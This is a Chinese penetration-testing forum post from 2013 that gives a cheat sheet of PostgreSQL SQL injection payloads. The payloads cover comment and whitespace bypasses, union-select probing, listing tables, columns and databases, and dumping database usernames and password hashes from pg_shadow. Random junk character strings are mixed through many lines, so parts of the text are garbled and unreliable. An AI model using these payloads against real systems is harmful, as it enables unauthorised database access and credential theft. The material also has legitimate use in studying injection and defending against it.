中国网络渗透测试联盟

标题: postgreSQL注入总结 [打印本页]

作者: admin    时间: 2013-10-13 12:57
标题: postgreSQL注入总结
结合了MSSQL MySQL Oracle的一些特点4 B: n- u% b& S: n) N! L) F. C

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**// |; [2 j: B- p
连接符: %20 , + , /**/

内置函数:7 ~" {1 m" d. V. G
current_database() //当前数据库名& G9 i; j* }8 o' {$ v% O1 S+ |
session_user //会话用户$ J  U1 H( {% u- ~  T
current_user //当前数据库用户- x+ @7 Z) I2 D8 M2 ?
user //当前用户! J- q5 _- z& h0 w3 {5 i0 f. _; u; u
version() //数据库版本

Union注射:
, a8 Y% I! V9 Y8 A" U" s3 Rorder by n–. o4 M2 M2 S* z/ F6 M
and 1=2 union select null,null,null–
; D: O5 ~2 V! u4 @) ]and 1=2 union select ‘beach’,null,null–
  l8 Q- G4 \" W/ E5 {. V! \and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
% x( n$ i( r9 A' q/ _group_concat(table_name)8 H; u# _( S1 v2 G& C( f& ]
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–& F. \* I5 X8 V& R9 D2 n8 R
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
* h$ C; [8 U0 }6 D+ d0 Z  H(老版本)- ~1 p5 N+ B3 d3 Y5 H+ R
pg_class.oid对应pg_attribute.attrelid
* G7 R  ?+ S/ N3 O( q+ wpg_class.relname表名7 {2 X$ l$ S* h
pg_attribute.attname字段名

select relname from pg_class获取表名
! b) [- X3 V3 A/ n7 cselect oid from pg_class where 条件 获取参数& o8 q5 N  K8 K" Y4 _3 Q% ]* j! f
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:& ~5 E  N: L; N" }& k
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
+ \! w" \3 Y7 t/ N/ X. T! s- ~and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
9 x1 ~4 p  m; d- U8 `由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
( G% K0 c. ~  l2 }6 ~======================================================================
! k- ?- ]" g$ H7 N2 b) `and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库% ^0 n  t3 m! X; E5 i( t
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码






欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2